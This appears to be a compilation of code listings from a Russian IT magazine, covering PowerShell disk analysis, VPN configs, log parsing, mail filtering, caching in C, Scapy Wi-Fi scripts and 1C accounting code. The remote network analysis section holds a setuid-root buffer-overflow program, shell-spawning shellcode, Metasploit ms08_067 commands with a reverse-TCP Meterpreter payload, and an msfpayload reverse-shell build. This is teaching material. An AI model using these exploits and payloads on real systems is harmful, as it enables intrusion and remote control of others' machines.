Оценка эффективности использования серверного дискового пространства Иван Коробко Листинг 1. Формирование списка файлов, находящихся в указанной папке и ее подпапках $rootPath = "…" # Путь к корневому каталогу Get-ChildItem -Path $rootPath -Recurse | ? {$_.PSIsContainer -eq $false} | % { # Рекурсивный обход корневой папки $size = $_.Length # Определение размера файла в байтах $fname = $_.Name # Определение имени файла с его расширением $fullname = $_.FullName # Получение полного пути к файлу, включая его имя } Листинг 2. Определение даты последнего изменения файла ... # Получение полного пути к файлу, включая его имя $fullname = $_.FullName $oFile = (Get-Item $Fullname ) $oFile.LastWriteTime Листинг 3. Сравнение даты последнего изменения файла с заданным пороговым значением [datetime]$date1="02/03/2010" # Пороговое значение … … | % { … [datetime]$date2 = $oFile.LastWriteTime if ($date1 -gt $date2) {Write-Host "Файл используется редко"} else {Write-Host "Файл используется часто"} … } Листинг 4. Шаблон для формирования объекта – таблицы $obj=@() # Создание хеш-таблицы … | % { # Создание экземпляра PS-объекта $psObject=New-Object PSObject Add-Member -InputObject $psObject -MemberType "NoteProperty" -Name "---" -Value "---"| Out-Null Add-Member -InputObject $psObject -MemberType "NoteProperty" … $obj+=$psObject } Листинг 5. Формирование таблицы данных $obj=@() # Создание виртуальной таблицы … | % { … if ($date1 -gt $date2) { $obj = New-Object PSObject Add-Member -InputObject $obj -MemberType "NoteProperty" -Name "FileName" -Value ([string]$fname) Add-Member -InputObject $obj -MemberType "NoteProperty" -Name "FilePath" -Value ([string]$fullname) Add-Member -InputObject $obj -MemberType "NoteProperty" -Name "LastWriteTime" -Value ([string]$date2) Add-Member -InputObject $obj -MemberType "NoteProperty" -Name "FileSize" -Value ([string][math]::round([double]($size/[math]::pow(2,10)),2)) $tmpObj+=$obj } } $tmpObj | Out-GridView # Экспорт в GUI $tmpObj | Export-Csv -Path c:\report.txt # Экспорт в файл с разделителями Листинг 6. Определение контрольной суммы файла function Get-Checksum # Определение контрольной суммы файла { Param ( [string]$File=$(throw("Не указано имя файла")), [ValidateSet("sha1","md5")] [string]$Algorithm="md5" ) $fs = new-object System.IO.FileStream $File, "Open" $algo = [type]"System.Security.Cryptography.$Algorithm" $crypto = $algo::Create() $hash = [BitConverter]::ToString($crypto.ComputeHash($fs)).Replace("-", "") $fs.Close() $hash } $ckeckSumm = Get-Checksum -Path $fileName -Algorithm md5 Листинг 7. Создание виртуальной таблицы на основе списка найденных файлов # Объявление пустой виртуальной таблицы $TmpTable1=@() $rootPath = "…" # Путь к корневому каталогу # Рекурсивный обход папки Get-ChildItem -Path $rootPath -Recurse | ? {$_.PSIsContainer -eq $false} | % { # Создание виртуального объекта $ps=New-Object PSObject # Определение характеристик файла $size = $_.Length # Размер файла в байтах $fname = $_.Name # Имя файла с его расширением $fullname = $_.FullName # Полный путь к файлу, включая его имя $ckeckSumm = Get-Checksum -Path $fullname -Algorithm md5 # Формирование новой строки таблицы Add-Member -InputObject $ps -MemberType NoteProperty -Name "fname" -Value ([string]($fname)) | Out-Null Add-Member -InputObject $ps -MemberType NoteProperty -Name "MD5" -Value ([string]($ckeckSumm)) | Out-Null Add-Member -InputObject $ps -MemberType NoteProperty -Name "Size" -Value ([int64]($size)) | Out-Null # Добавление новой строки виртуальной таблицы и заполнение # ее данными $TmpTable1+=$ps } #Вывод данных на экран $TmpTable1| Out-GridView Листинг 8. Сортировка таблицы с данными по указанному столбцу # Объявление пустой виртуальной таблицы $TmpTable2=@() #Сортировка данных $TmpTable1 |Sort-Object -Property "MD5" | %{ # Создание виртуального объекта $psSort=New-Object PSObject # Формирование новой строки таблицы Add-Member -InputObject $psSort -MemberType NoteProperty -Name "fname" -Value ([string]($_.fname)) | Out-Null Add-Member -InputObject $psSort -MemberType NoteProperty -Name "MD5" -Value ([string]($_.md5)) | Out-Null Add-Member -InputObject $psSort -MemberType NoteProperty -Name "Size" -Value ([int64]($_.size)) | Out-Null # Добавление новой строки виртуальной таблицы и заполнение ее данными $TmpTable2+=$psSort } #Вывод данных на экран $TmpTable2| Out-GridView Листинг 9. Формирование таблицы дублей # Объявление переменных $fullsize=0; # Количество строк в таблице [int64]$dublicate = 0 # Дисковое пространство, занимаемое файлом $counter=0 # Количество дублей # Объявление пустой виртуальной таблицы $TmpTable3=@() for ($c=0; $c -lt ($TmpTable2.Length);$c++) { # Сравнение ячеек с контрольной суммой с граничащими строками # Сравнение двух соседних элементов $compareTo = ($TmpTable2[$c].md5).compareto($TmpTable2[$c+1].md5) # Сравнение двух соседних элементов $compareFrom = ($TmpTable2[$c].md5).compareto($TmpTable2[$c-1].md5) if ($compareTo -eq 0) { # Найден дубль. Количество дублей увеличивается на 1 $counter+=1 } else { # Найдены все дубли. Наобходимо записать данные в таблицу if ($counter -ne 0) { # Создание виртуального объекта $psDublicate=New-Object PSObject # Создание новой строки Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "fname" -Value ([string]($TmpTable2[$c].fname)) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]($TmpTable2[$c].md5)) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Size" -Value ([double]([math]::round($TmpTable2[$c].size/[math]::pow(2,20),3))) | Out-Null #([int64]($TmpTable2[$c].size)) Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Count" -Value ([int64]($counter)) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "TotalSize" -Value ([string]("={0}*{1}" -f (([double]([math]::round($TmpTable2[$c].size/[math]::pow(2,20),3)))), ([string]$counter))) | Out-Null $fullsize+=1; $duplicateSizer+=$TmpTable2[$c].size*$counter # Запись новой строки в таблицу $TmpTable3+=$psDublicate } $counter=0 # Обнуление счетчика } } $TmpTable3 | Out-GridView Листинг 10. Создание заголовка в таблице # Объявление пустой виртуальной таблицы $TmpTable4=@() # Создание 1-й строки $psDublicate=New-Object PSObject Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "fname" -Value ([string]"Объем занятого дискового пространства (Мб):") | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]([math]::round($totalSizer/[math]::pow(2,20),3))).replace(".",",") | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Size" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Count" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "TotalSize" -Value ([string]$null) | Out-Null $TmpTable4+=$psDublicate # Создание 2-й строки $psDublicate=New-Object PSObject Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "fname" -Value ([string]"Из них занято дублями (Мб):") | Out-Null #Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]([math]::round($duplicateSizer/[math]::pow(2,20),3))) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]("=СУММ(e{0}:e{1})" -f 7,(7+$fullsize-1))) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Size" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Count" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "TotalSize" -Value ([string]$null) | Out-Null $TmpTable4+=$psDublicate # Создание 3-й строки $psDublicate=New-Object PSObject Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "fname" -Value ([string]"В процентном отношении:") | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]"=100*b4/b3") | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Size" -Value ([string]$NULL) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Count" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "TotalSize" -Value ([string]$null) | Out-Null $TmpTable4+=$psDublicate # Создание 4-й строки $psDublicate=New-Object PSObject Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "fname" -Value ([string]("".padleft(50,"-"))) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "MD5" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Size" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "Count" -Value ([string]$null) | Out-Null Add-Member -InputObject $psDublicate -MemberType NoteProperty -Name "TotalSize" -Value ([string]$null) | Out-Null $TmpTable4+=$psDublicate # Добавление существующей таблицы с данными $TmpTable4+=$f # Вывод данных на экран $TmpTable4 | Out-GridView # Экспорт данных в Excel $TmpTable4 | Export-Csv -Path $path -Encoding utf8 ----------------------------------------------------------------------------------------------------------------- Построение корпоративных VPN. Программа IKED в качестве сервера Рашид Ачилов setval { PSKDIR "/usr/local/etc/racoon2/psk"; CRDIR "/etc/ssl/certs"; MY_FQDN "sheltonsoft.ru"; PRESHRD_KEY "test.psk"; PUB_KEY "testfile.crt"; PRI_KEY "testfile.key"; MY_NET "10.94.200.0/24"; MY_GWADDRESS "180.80.80.1"; PH1UP_SCR "/usr/local/etc/racoon2/hook/ph1-up"; PH1DOWN_SCR "/usr/local/etc/racoon2/hook/ph1-down"; }; include "/usr/local/etc/racoon2/vals.conf"; interface { ike { 180.80.80.1 port 500; 180.80.80.1 port 4500; }; spmd { unix "/var/run/racoon2/spmif"; }; spmd_password "/usr/local/etc/racoon2/spmd.pwd"; }; resolver { resolver off; }; include "/usr/local/etc/racoon2/default.conf"; include "/usr/local/etc/racoon2/tunnel_ike.conf"; default { remote { acceptable_kmp { ikev1; }; ikev1 { exchange_mode main; logmode normal; my_id x509_subject "${CRDIR}/${PUB_KEY}"; verify_id on; my_public_key x509pem "${CRDIR}/${PUB_KEY}" "${CRDIR}/${PRI_KEY}"; verify_pubkey on; kmp_sa_lifetime_time 24 hour; kmp_sa_lifetime_byte infinite; interval_to_send 20 sec; times_per_send 1; initial_contact off; proposal_check strict; passive off; dpd_delay 0; ipsec_sa_nego_time_limit 30 sec; kmp_enc_alg { aes128_cbc; 3des_cbc; }; kmp_hash_alg { sha1; md5; }; kmp_dh_group { modp2048; modp1024; }; kmp_auth_method { psk; }; nonce_size 16; random_pad_content on; }; }; policy { ipsec_mode tunnel; action auto_ipsec; ipsec_index { ipsec_esp; }; ipsec_level require; }; ipsec { ipsec_sa_lifetime_time infinite; ipsec_sa_lifetime_byte infinite; }; sa { esp_enc_alg { aes128_cbc; 3des_cbc; }; esp_auth_alg { hmac_sha1; hmac_md5; }; }; }; ipsec ipsec_ah_esp { ipsec_sa_lifetime_time 28800 sec; sa_index { ah_01; esp_01; }; }; ipsec ipsec_esp { ipsec_sa_lifetime_time 500 sec; sa_index esp_01; }; sa ah_01 { sa_protocol ah; ah_auth_alg { hmac_sha1; hmac_md5; }; }; sa esp_01 { sa_protocol esp; esp_enc_alg { aes256_cbc; aes192_cbc; aes128_cbc; blowfish_cbc; 3des_cbc; }; esp_auth_alg { hmac_sha1; hmac_md5; }; }; remote remote-212.20.5.1 { acceptable_kmp { ikev1; }; ikev1 { logmode debug; exchange_mode main; peers_id x509_subject "${CERTDIR}/testrem.crt"; peers_ipaddr "212.20.5.1"; kmp_enc_alg { aes192_cbc; aes128_cbc; 3des_cbc; }; kmp_hash_alg { sha1; }; kmp_dh_group { modp1024; }; kmp_sa_lifetime_time 900 sec; kmp_auth_method { rsasig; }; peers_public_key x509pem "${CERTDIR}/testrem.crt" ""; initial_contact on; need_pfs on; script { phase1_up "${PH1UP_SCR}"; phase1_down "${PH1DOWN_SCR}"; }; }; selector_index 172.16.1-in; }; selector local_out { direction outbound; src "${MY_NET}"; dst "${MY_NET}"; policy_index local_policy; }; selector local_in { direction inbound; dst "${MY_NET}"; src "${MY_NET}"; policy_index local_policy; }; selector 172.16.1-out { direction outbound; src "${MY_NET}"; dst "172.16.1.0/24"; policy_index policy-212.20.5.1; }; selector 172.16.1-in { direction inbound; dst "${MY_NET}"; src "172.16.1.0/24"; policy_index policy-212.20.5.1; }; policy policy-80.242.75.6 { action auto_ipsec; remote_index remote-212.20.5.1; ipsec_mode tunnel; ipsec_index { ipsec_esp; }; ipsec_level require; peers_sa_ipaddr "212.20.5.1"; my_sa_ipaddr "${MY_GWADDRESS}"; }; policy local_policy { action none; }; x509cert: err = eay_check_x509cert(cert, NULL); if (err) { plog(PLOG_INTERR, PLOGLOC, 0, failed verifying certificate authrotiy of cert (%s)\n", rc_vmem2str(pk->pubkey)); goto next_pk; } default { remote { acceptable_kmp { ikev2; }; ikev2 { logmode normal; my_id ipaddr "180.80.80.1"; kmp_sa_lifetime_time 24 hour; kmp_sa_lifetime_byte infinite; interval_to_send 20 sec; times_per_send 1; initial_contact off; proposal_check strict; passive off; ipsec_sa_nego_time_limit 30 sec; kmp_enc_alg { aes128_cbc; 3des_cbc; }; kmp_hash_alg { hmac_sha1; hmac_md5; }; kmp_dh_group { modp2048; modp1024; }; kmp_prf_alg { hmac_md5; hmac_sha1; aes_xcbc; }; kmp_auth_method { psk; }; nonce_size 16; random_pad_content on; }; }; }; remote remote-212.20.5.1 { acceptable_kmp { ikev2; }; ikev2 { logmode debug; peers_id ipaddr "212.20.5.1"; peers_ipaddr "212.20.5.1"; kmp_enc_alg { aes192_cbc; aes128_cbc; 3des_cbc; }; kmp_hash_alg { hmac_sha1; }; kmp_prf_alg { hmac_sha1; aes_xcbc; }; kmp_dh_group { modp1024; }; kmp_sa_lifetime_time 900 sec; initial_contact on; need_pfs on; script { phase1_up "${PH1UP_SCR}"; phase1_down "${PH1DOWN_SCR}"; }; }; }; ----------------------------------------------------------------------------------------------------------------- Анализ логов, используя LogParser 2.2. Нестандартный подход Сергей Барамба logparser.exe -i:EVT -o:datagrid "SELECT * FROM Security" select top 10 TimeGenerated,EventID,Strings from Security SELECT SourceName, Message FROM \\MYSERVER1\Application, \\MYSERVER2\Application, Application select * FROM Microsoft-Windows-PrintService/Operational extract_token(FieldName,Position,' separator ') select strings FROM Microsoft-Windows-PrintService/Operational select timegenerated,SID, extract_token(strings,0,'|') as PrintNumber, extract_token(strings,1,'|') as DocumNum, extract_token(strings,4,'|') as PrinterNum, extract_token(strings,5,'|') as IP, extract_token(strings,7,'|') as PageNum FROM Microsoft-Windows-PrintService/Operational where eventid=307 AND timegenerated >= '%date% 00:00:00' AND timegenerated <= '%date% 23:59:00' order by timegenerated,PrintNumber logparser.exe file:имяфайла.sql?date=%date:~6,4%-%date:~3,2%-%date:~0,2% echo sep=, > c:\prnlog\%date:~0,2%.%date:~3,2%.%date:~6,4%.csv logparser.exe file: 1.SQL?date=%date:~6,4%-%date:~3,2%-%date:~0,2% -o:csv -resolveSIDs -i:EVT >>c:\prnlog\%date:~0,2%.%date:~3,2%.%date:~6,4%.csv select DISTINCT timegenerated, extract_token(strings,1,'|') as username, extract_token(strings,6,'|') as filename, case extract_token(strings,9,'|') WHEN '0x6' THEN 'WriteData' else case extract_token(strings,9,'|') WHEN '0x10000' THEN 'Deleted' else case extract_token(strings,9,'|') WHEN '0x1' THEN 'Read' else case extract_token(strings,9,'|') WHEN '0x100' THEN 'ReadAttributes' end end end end as access, extract_token(strings,9,'|') as code from security where eventId=4663 and filename='C:\Share\3.rtf' and (Message Like '%Access Mask: 0x6 %' or Message Like '%Access Mask: 0x10000 %' or Message Like '%Access Mask: 0x1 %' ) order by filename, timegenerated Select extract_token(strings,4,'|') as PrintNumber, sum (TO_INT(extract_token(strings,7,'|'))) as Pagesum into chart.gif FROM Microsoft-Windows-PrintService/Operational where eventid=307 AND timegenerated>= '2012-08-01 00:00:00' AND timegenerated<= '2012-08-31 23:59:59' Group by PrintNumber logparser.exe file:chart.sql -o chart -ChartType:SmoothLine ----------------------------------------------------------------------------------------------------------------- Никакая почта не пропадет! Александр Белоусов [tst@main ~]$ grep -i 'procmail' /etc/mail/sendmaim.mc define(`PROCMAIL_MAILER_PATH', `/usr/bin/procmail')dnl FEATURE(local_procmail, `', `procmail -t -Y -a $h -d $u')dnl MAILER(procmail)dnl [tst@main ~]$ sudo make -C /etc/mail [tst@main ~]$ sudo service sendmail restart 01) #virus filter 02) :0fw 03) | /usr/local/bin/clamassassin 04) :0H 05) * ^X-Virus-Status: Yes 06) { 07) :0c: 08) $HOME/VIRUS 09) :0i: /usr/local/libexec/alert/alert.lock 10) | /usr/local/libexec/alert/virus.alert 11) } 01) #!/bin/sh 02) cd /usr/local/libexec/alert/ 03) find /home -type f -name VIRUS | while read i 04) do 05) finger=`echo "${i}" | sed 's/\/VIRUS//' | sed 's/\/home\///'` 06) cp -f ./virusadmin.skel ./virus.admin 07) cp -f ./virusto.skel ./virus.to 08) /usr/bin/head -30 "${i}" >> ./virus.admin 09) /usr/bin/head -30 "${i}" >> ./virus.to 10) virusname=`grep -m1 X-Virus-Report "${i}"` 11) /usr/bin/mutt -s "${virusname}" "${finger}@localhost" -i ./virus.to 12) /usr/bin/mutt -s "${virusname}" postmaster@localhost -i ./virus.admin 13) cat "${i}" >> "${i}.OLD" 14) rm -f "${i}" 15) done [tst@main ~]$ ls -al /usr/local/libexec/alert/ ----------------------------------------------------------------------------------------------------------------- Виртуализация с помощью Parallels Server BareMetal 5 Антон Борисов Листинг 1. Проверка на наличие работающих виртуальных машин # prlctl list Листинг 2. Фрагмент конфигурационного файла виртуальной машины Parallels 5.0.13367.775046 {c8773c6e-6afb-ee4c-bb51-1f74f39ee020} Windows 7 ... ... # prlctl capture 6241892b-1f0c-ec45-adfd-626bf3ceca01 --file /tmp/capture1_Ubuntu_Linux.png Листинг 3. Резервное копирование не проходит, если в /vz/vmprivate/backups/ недостаточно свободного места # prlctl backup 6241892b-1f0c-ec45-adfd-626bf3ceca01 -f Листинг 4. Откатиться в безопасное состояние можно и с помощью snapshot # prlctl snapshot 6241892b-1f0c-ec45-adfd-626bf3ceca01 -n UbuntuLinux_Snap1 prlctl migrate <[src_node/]ID> ----------------------------------------------------------------------------------------------------------------- Незвони мне, незвони… Угрозы при использовании мобильных устройств в бизнесе Сергей Яремчук > auditpol /set /subcategory:"Сьемные носители" /success:enable ----------------------------------------------------------------------------------------------------------------- Что в имени тебе моем, или Удаленный анализ сети. Часть 4. Используем результаты Андрей Бирюков if (id < 0 || id > channels_alloc) if (id < 0 || id >= channels_alloc) { } Листинг 1. Код vulnerable.c int main(int argc, char *argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; } $ gсс -о vulnerable vulnerable.c $ ./vulnerable test $ sudo chown root vulnerable $ sudo chmod +s vulnerable $ Is -1 vulnerable char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\х68"; Use windows/smb/ms08_067_netapi set PAYLOAD windows/meterproper/reverse_tcp set RHOST 192.168.0.1 set RPORT 445 set LHOST 192.168.0.100 set LPORT 444 Show options Exploit ruby1.8 msfpayload windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=4444 X > /home/user/MyDocs/payload.exe ----------------------------------------------------------------------------------------------------------------- Создание key/value-хранилищ данных. Часть 2. Кэширование Александр Календарев void * getData(const char* key) { char* data = getDataFromcache(key); if (data) return data; data = getDataFromDb(key); if (data) storeDataToCache(key, data); return data; } bool tchdbsetcache(TCHDB *hdb, int32_t rcnum); TCHDB *hdb; // hash Db со сбросом данных на диск TCMDB *mdb; // hash Db в памяти void getData(const char* key, void* buff) { void *res = tcmdbget2(hdb, key); // ищем в кэше if (res) { strcpy(buff, res); // копируем в буфер free(res); // освобождаем занятую память return; } res = tcmdbget2( hdb, key ); // ищем в базе if (res) { tcmdbput2( hdb, key ,res); // кладем в кэш strcpy(buff, res); // копируем в буфер free(res); return; } *buff = '\0'; } #define HSIZE 10000; int queue[HSIZE] ; int Pw = 0; int Pr = 0; void PushQueue(int key) { queue[Pw] = key; Pw++; if (Pw == HSIZE) Pw = 0; } int PopQueue(int key) { int tmp = queue[Pr]; Pr++; if (Pr == HSIZE) Pr = 0; return tmp; } void getData(int key, void* buff) { int dataLen = 0; void *res = tcmdbget(hdb, key, sizeof(int), &dataLen); key2 = popQueue(); pushQueue(key); if (key !=key2) // удаляем устаревшие данные в кэше tcmdbout(mdb, key, sizeof(int)); if (res) { memcpy(buff,res,dataLen); free(res); return; } // ищем в базе res = tcmdbget(hdb, key, sizeof(int), &dataLen ); if (res){ // кладем в кэш tcmdbput(hdb, key, sizeof(int), res); memcpy( buff,res,dataLen ); free(res); return; } *buff = ‘\0’; return; } void* res = getDataNewVesion(key); . . . free(res); void* buff = malloc(BUFSIZE); . . . getData(key, buff); . . . free(buff); ----------------------------------------------------------------------------------------------------------------- Беспроводный фитнес со Scapy и Python Андрей Бражук $ sudo ifconfig wlan0 down $ sudo iwconfig wlan0 mode monitor $ sudo ifconfig wlan0 up $ sudo airmon-ng start wlan0 $ sudo iwconfig wlan0 channel 13 $ sudo rfkill unblock 0 $ sudo rfkill list #!/bin/bash CHNS="1 2 3 4 5 6 7 8 9 10 11 12 13" IFACE="wlan0" # Это бесконечный цикл, для завершения нажать Ctrl-C while true ; do for CHN in $CHNS ; do echo "Chopping $CHN channel, press Ctrl-C to finish" iwconfig $IFACE channel $CHN sleep 1 done done #!/usr/bin/python from scapy.all import * import string iface= "wlan0" lst = [] def sniffb(p): if p.haslayer(Dot11Beacon): if lst.count(p.addr2) == 0: lst.append(p.addr2) inf = "[mac] " +p.addr2+" [essid] " +p[Dot11Elt].info while Dot11Elt in p: p=p[Dot11Elt] if p.ID == 3: inf = inf + " [channel] "+ str(ord(p.info)) p = p.payload print inf sniff (iface=iface,prn=sniffb) >>> fam,hw = get_if_raw_hwaddr("wlan0") >>> ff = "ff:ff:ff:ff:ff:ff" >>> pr = RadioTap()/Dot11(addr1=ff,addr2=hw,addr3=ff) >>> ans,uans = srp(pr/Dot11ProbeReq(),iface="wlan0", multi=True, timeout=3) >>> for p in ans: >>> print "[mac] " + p[1].addr2 + " [essid] " + p[1][Dot11Elt].info >>> ap = "00:17:9a:b7:cb:11" >>> essid = "mynet" >>> fam,hw = get_if_raw_hwaddr("wlan0") >>> low = RadioTap()/Dot11(addr1=ap,addr2=hw,addr3=ap) >>> r = srp1(low/Dot11Auth(seqnum=1),iface="wlan0",timeout=3) >>> elt0 = Dot11Elt(ID=0,len=4,info=essid) >>> elt50 = Dot11Elt(ID=50,len=8,info='\x02\x04\x0b\x16\x0c\x180H') >>> r1 = srp1(low/Dot11AssoReq()/elt0/elt50,iface="wlan0",timeout=3) Листинг 1.Скрипт для подключения к AP с открытой аутентификацией без шифрования #!/usr/bin/python from scapy.all import * def exterr(msg): print msg sys.exit(1) iface="wlan0" ap = "00:17:9a:b7:cb:11" essid = "mynet" wt = 3 fam,hw = get_if_raw_hwaddr(iface) low = RadioTap()/Dot11(addr1=ap,addr2=hw,addr3=ap) r = srp1(low/Dot11Auth(seqnum=1),iface=iface,timeout=wt) if r !=None: if r[Dot11Auth].status == 0: print "got auth response from "+r[Dot11].addr2 elt0 = Dot11Elt(ID=0,len=4,info=essid) elt50 = Dot11Elt(ID=50,len=8, ↵ info='\x02\x04\x0b\x16\x0c\x180H') r1 = srp1(low/Dot11AssoReq()/elt0/elt50,iface=iface,timeout=wt) if r1 !=None: if r1[Dot11AssoResp].status == 0: print "connected to "+r1[Dot11].addr2 sys.exit(0); exterr("ap denied asso, reason code "+str(r1[Dot11AssoResp].status)) exterr("no asso response from ap") exterr("ap denied auth, reason code "+str(r1[Dot11Auth].status)) exterr("no auth response from ap") ----------------------------------------------------------------------------------------------------------------- Складской учет товаров на хранении в «1С:Управление производственным предприятием 1.3» Игорь Чуфаров Листинг 1. Движения документа «Поступление товаров и услуг» по регистру накопления «Товары на ответственном хранении» Движения.ТоварыНаОтветственномХранении.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Если ТекСтрокаТовары.СчетУчетаБУ = ПланыСчетов.Хозрасчетный.ТМЦпринятыеНаОтветственноеХранение Тогда Движение = ↵ Движения.ТоварыНаОтветственномХранении.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Приход; Движение.Период = Дата; Движение.ДоговорКонтрагента = ДоговорКонтрагента; Движение.Сделка = Сделка; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Контрагент = Контрагент; Движение.Организация = Организация; Движение.Склад = ТекСтрокаТовары.Склад; Движение.Количество = ТекСтрокаТовары.Количество; Движение.СуммаВзаиморасчетов = ТекСтрокаТовары.Сумма; КонецЕсли; КонецЦикла; Листинг 2. Процедура проведения документа «Прием на ответственное хранение» Процедура ОбработкаПроведения(Отказ, РежимПроведения) Перем Заголовок, СтруктураШапкиДокумента; Перем ТаблицаПоТоварам, ТаблицаПоУслугам, ТаблицаПоОборудованию, ТаблицаПоОбъектамСтроительства, ТаблицаПоТаре; Перем ТаблицаПоВзаиморасчетам, ТаблицаПоРасчетам; // Регистр ТоварыНаОтветственномХранении Приход Движения.ТоварыНаОтветственномХранении.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаОтветственномХранении.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Приход; Движение.Период = Дата; Движение.ДоговорКонтрагента = ДоговорКонтрагента; Движение.Сделка = Сделка; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.Партия = ТекСтрокаТовары.Партия; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Контрагент = Контрагент; Движение.Организация = Организация; Движение.Склад = ТекСтрокаТовары.Склад; Движение.Количество = ТекСтрокаТовары.Количество; Движение.СуммаВзаиморасчетов = ТекСтрокаТовары.Сумма; КонецЦикла; // Регистр Хозрасчетный Движения.Хозрасчетный.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.Хозрасчетный.Добавить(); Движение.СчетДт = ПланыСчетов.Хозрасчетный.ТМЦпринятыеНаОтветственноеХранение; Движение.Период = Дата; Движение.Организация = Организация; Движение.Сумма = ТекСтрокаТовары.Сумма; Движение.КоличествоДт = ТекСтрокаТовары.Количество; Движение.СубконтоДт[ПланыВидовХарактеристик.ВидыСубконтоХозрасчетные.Контрагенты] = Контрагент; Движение.СубконтоДт[ПланыВидовХарактеристик.ВидыСубконтоХозрасчетные.Номенклатура] = ТекСтрокаТовары.Номенклатура; КонецЦикла; // Проведение по регистру ТоварыНаСкладах делаем, если поступление на склад, а не по ордеру Если ВидПоступления = Перечисления.ВидыПоступленияТоваров.НаСклад Тогда // Регистр ТоварыНаСкладах Приход Движения.ТоварыНаСкладах.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаСкладах.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Приход; Движение.Период = Дата; Движение.Склад = ТекСтрокаТовары.Склад; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Количество = ТекСтрокаТовары.Количество; КонецЦикла; // Очищаем движения по регистру СвободныеОстатки // Заполнение будет автоматически выполнено на основании движения по регистру ТоварыНаСкладах Движения.СвободныеОстатки.Очистить(); КонецЕсли; КонецПроцедуры // ОбработкаПроведения Листинг 3. Процедура проведения документа «Перемещение товаров на ответственном хранении» Процедура ОбработкаПроведения(Отказ, РежимПроведения) Перем Заголовок, СтруктураШапкиДокумента; Перем ТаблицаПоТоварам, ТаблицаПоУслугам, ТаблицаПоОборудованию, ТаблицаПоОбъектамСтроительства, ТаблицаПоТаре; Перем ТаблицаПоВзаиморасчетам, ТаблицаПоРасчетам; // Регистр ТоварыНаОтветственномХранении Приход Движения.ТоварыНаОтветственномХранении.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаОтветственномХранении.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Приход; Движение.Период = Дата; Движение.ДоговорКонтрагента = ДоговорКонтрагента; Движение.Сделка = Сделка; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Контрагент = Контрагент; Движение.Организация = Организация; Движение.Склад = ТекСтрокаТовары.СкладОтправитель; Движение.Количество = ТекСтрокаТовары.Количество; Движение.СуммаВзаиморасчетов = ТекСтрокаТовары.Сумма; КонецЦикла; // Регистр ТоварыНаОтветственномХранении Расход Движения.ТоварыНаОтветственномХранении.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаОтветственномХранении.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Расход; Движение.Период = Дата; Движение.ДоговорКонтрагента = ДоговорКонтрагента; Движение.Сделка = Сделка; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Контрагент = Контрагент; Движение.Организация = 